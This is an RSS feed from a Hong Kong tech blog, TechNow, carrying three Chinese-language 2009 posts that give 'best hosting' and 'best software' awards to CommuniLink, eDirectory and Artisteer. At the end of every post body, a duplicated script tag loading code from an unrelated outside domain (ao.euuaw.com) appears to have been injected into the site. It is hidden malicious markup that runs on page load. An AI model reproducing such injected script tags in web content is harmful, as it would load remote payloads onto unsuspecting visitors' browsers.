<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TechNow 當代科技 &#187; Award</title>
	<atom:link href="http://www.technow.com.hk/category/technow/award/feed" rel="self" type="application/rss+xml" />
	<link>http://www.technow.com.hk</link>
	<description>IT Tech Weblog</description>
	<lastBuildDate>Sat, 31 Jul 2010 14:49:02 +0000</lastBuildDate>
	<language>zh-tw</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>最佳網站寄存獎 2009 – CommuniLink</title>
		<link>http://www.technow.com.hk/best-hosting-award-2009-communilink</link>
		<comments>http://www.technow.com.hk/best-hosting-award-2009-communilink#comments</comments>
		<pubDate>Mon, 06 Jul 2009 04:12:45 +0000</pubDate>
		<dc:creator>Ivan So</dc:creator>
				<category><![CDATA[Award]]></category>
		<category><![CDATA[CEO]]></category>
		<category><![CDATA[CommuniLink]]></category>
		<category><![CDATA[Communilink Internet Limited]]></category>
		<category><![CDATA[Joshua Chan]]></category>
		<category><![CDATA[Technow]]></category>
		<category><![CDATA[企業電郵]]></category>
		<category><![CDATA[伺服器租用]]></category>
		<category><![CDATA[程式編寫]]></category>
		<category><![CDATA[網上商店]]></category>
		<category><![CDATA[網上磁碟]]></category>
		<category><![CDATA[網站寄存]]></category>
		<category><![CDATA[網站設計]]></category>
		<category><![CDATA[聯通國際網絡]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=13114</guid>
		<description><![CDATA[為了表揚業界的努力及創意，TechNow 現有 ” 最佳網站寄存獎 2009 “，第一個穫獎的網站寄存公司是由 Joshua Chan (CEO)  的聯通國際網絡 Communilink Internet Limited，香港公司，網站寄存價格為每月HKD $48 至 $798，服務更包括企業電郵、伺服器租用、網站設計、程式編寫、網上商店、網上磁碟、傳真至電郵等等。 得獎原因： CommuniLink 作為一個著名香港網站寄存公司，提供高速、安全、穩定的寄存服務，超過 10 年的經驗，了解客戶的需要，擁有自家的 admin panel，所以穫得 TechNow 的 ” 最佳網站寄存獎 2009 “。]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/best-hosting-award-2009-communilink"></a></div><p><img src="http://www.technow.com.hk/img/bestaward.jpg" border="0" alt="bestaward 最佳網站寄存獎 2009 – CommuniLink"  title="最佳網站寄存獎 2009 – CommuniLink" /></p>
<p>為了表揚業界的努力及創意，TechNow 現有 ” 最佳網站寄存獎 2009 “，第一個穫獎的網站寄存公司是由 Joshua Chan (CEO)  的<a href="http://www.communilink.net">聯通國際網絡 Communilink Internet Limited</a>，香港公司，<a href="http://www.communilink.net/p12-big5-hosting.html">網站寄存價格</a>為每月HKD $48 至 $798，服務更包括企業電郵、伺服器租用、網站設計、程式編寫、網上商店、網上磁碟、傳真至電郵等等。</p>
<p><span id="more-13114"></span></p>
<p><strong>得獎原因</strong>：</p>
<p>CommuniLink 作為一個著名香港網站寄存公司，提供高速、安全、穩定的寄存服務，超過 10 年的經驗，了解客戶的需要，擁有自家的 admin panel，所以穫得 TechNow 的 ” 最佳網站寄存獎 2009 “。<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/best-hosting-award-2009-communilink/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最佳電腦軟件獎 2009 &#8211; eDirectory</title>
		<link>http://www.technow.com.hk/best-software-award-2009-edirectory</link>
		<comments>http://www.technow.com.hk/best-software-award-2009-edirectory#comments</comments>
		<pubDate>Wed, 20 May 2009 03:44:57 +0000</pubDate>
		<dc:creator>Ivan So</dc:creator>
				<category><![CDATA[Award]]></category>
		<category><![CDATA[CEO]]></category>
		<category><![CDATA[Director]]></category>
		<category><![CDATA[eDirectory]]></category>
		<category><![CDATA[James Chubb]]></category>
		<category><![CDATA[Rafael Guarinon]]></category>
		<category><![CDATA[商用版]]></category>
		<category><![CDATA[普通版]]></category>
		<category><![CDATA[最佳電腦軟件獎 2009]]></category>
		<category><![CDATA[買斷版]]></category>
		<category><![CDATA[電腦軟件]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=11043</guid>
		<description><![CDATA[為了表揚業界的努力及創意，TechNow 現有 &#8221; 最佳電腦軟件獎 2009 &#8220;，第二個穫獎的電腦軟件是美國的 eDirectory，由 James Chubb (CEO) 及 Rafael Guarinon (Director) 的 Arca Solutions.Inc 公司創造，價格為每月USD$69 + $199設定費用 (普通版)，每月USD$99 + $299設定費用 (商用版)及USD$1,499 (買斷版)。 得獎原因： eDirectory 作為一個強大的平台，幫助你建立在線網絡目錄 (Directory)，全面的搜索功能，搜索引擎優化，用反戶可以更新自己的商店資料及優惠，臨，Google地圖及管理員介面，所以穫得 TechNow 的 &#8221; 最佳電腦軟件獎 2009 &#8220;。]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/best-software-award-2009-edirectory"></a></div><p><img src="http://www.technow.com.hk/wp-content/uploads/2009/05/best-software-award-20091.jpg" alt="best software award 20091 最佳電腦軟件獎 2009   eDirectory" width="200" height="182" class="attachment wp-att-11045 " title="最佳電腦軟件獎 2009   eDirectory" /></p>
<p>為了表揚業界的努力及創意，TechNow 現有 &#8221; 最佳電腦軟件獎 2009 &#8220;，第二個穫獎的電腦軟件是美國的 <a href="http://www.edirectory.com/">eDirectory</a>，由 James Chubb (CEO) 及 Rafael Guarinon (Director) 的 Arca Solutions.Inc 公司創造，價格為每月USD$69 + $199設定費用 (普通版)，每月USD$99 + $299設定費用 (商用版)及USD$1,499  (買斷版)。</p>
<p><span id="more-11043"></span></p>
<p><strong>得獎原因：</strong></p>
<p><a href="http://www.edirectory.com/">eDirectory</a> 作為一個強大的平台，幫助你建立在線網絡目錄 (Directory)，全面的搜索功能，搜索引擎優化，用反戶可以更新自己的商店資料及優惠，臨，Google地圖及管理員介面，所以穫得 TechNow 的 &#8221; 最佳電腦軟件獎 2009 &#8220;。<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/best-software-award-2009-edirectory/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最佳電腦軟件獎 2009 &#8211; Artisteer</title>
		<link>http://www.technow.com.hk/best-software-award-2009</link>
		<comments>http://www.technow.com.hk/best-software-award-2009#comments</comments>
		<pubDate>Wed, 13 May 2009 02:11:36 +0000</pubDate>
		<dc:creator>Ivan So</dc:creator>
				<category><![CDATA[Award]]></category>
		<category><![CDATA[Best software Award]]></category>
		<category><![CDATA[Paul Hudson]]></category>
		<category><![CDATA[Technow]]></category>
		<category><![CDATA[最佳電腦軟件獎]]></category>
		<category><![CDATA[穫獎]]></category>
		<category><![CDATA[電腦軟件]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=10864</guid>
		<description><![CDATA[為了表揚業界的努力及創意，TechNow 現有 &#8221; 最佳電腦軟件獎 2009 &#8220;，第一個穫獎的電腦軟件是美國的 Artisteer，由 Paul Hudson 的Extensoft, Inc. / Artisteer公司創造，價格為USD$49.95 (家用版) 及USD$129.95 (普通版)。 得獎原因： 它是一個非常方便的電腦軟件，以簡單的方法創造WordPress，Joomla及Drupal 的模板 (Theme)，提高設計效率，新功能 &#8211; &#8221; 建議設計 &#8221; 幫助你隨機創造模板，以激發你的設計想法，Artisteer 節省時間及提高設計效率，所以穫得 TechNow 的 &#8221; 最佳電腦軟件獎 2009 &#8220;。]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/best-software-award-2009"></a></div><p><img class="attachment wp-att-10863" src="http://www.technow.com.hk/wp-content/uploads/2009/05/best-software-award-2009.jpg" alt="best software award 2009 最佳電腦軟件獎 2009   Artisteer" width="200" height="182" title="最佳電腦軟件獎 2009   Artisteer" /></p>
<p>為了表揚業界的努力及創意，TechNow 現有 &#8221; 最佳電腦軟件獎 2009 &#8220;，第一個穫獎的電腦軟件是美國的 <a href="http://www.artisteer.com">Artisteer</a>，由 Paul Hudson 的Extensoft, Inc. / Artisteer公司創造，價格為USD$49.95 (家用版) 及USD$129.95  (普通版)。</p>
<p><span id="more-10864"></span></p>
<p><strong>得獎原因：</strong></p>
<p>它是一個非常方便的電腦軟件，以簡單的方法創造WordPress，Joomla及Drupal 的模板 (Theme)，提高設計效率，新功能 &#8211; &#8221; 建議設計 &#8221; 幫助你隨機創造模板，以激發你的設計想法，<a href="http://www.artisteer.com">Artisteer</a> 節省時間及提高設計效率，所以穫得 TechNow 的 &#8221; 最佳電腦軟件獎 2009 &#8220;。<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/best-software-award-2009/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
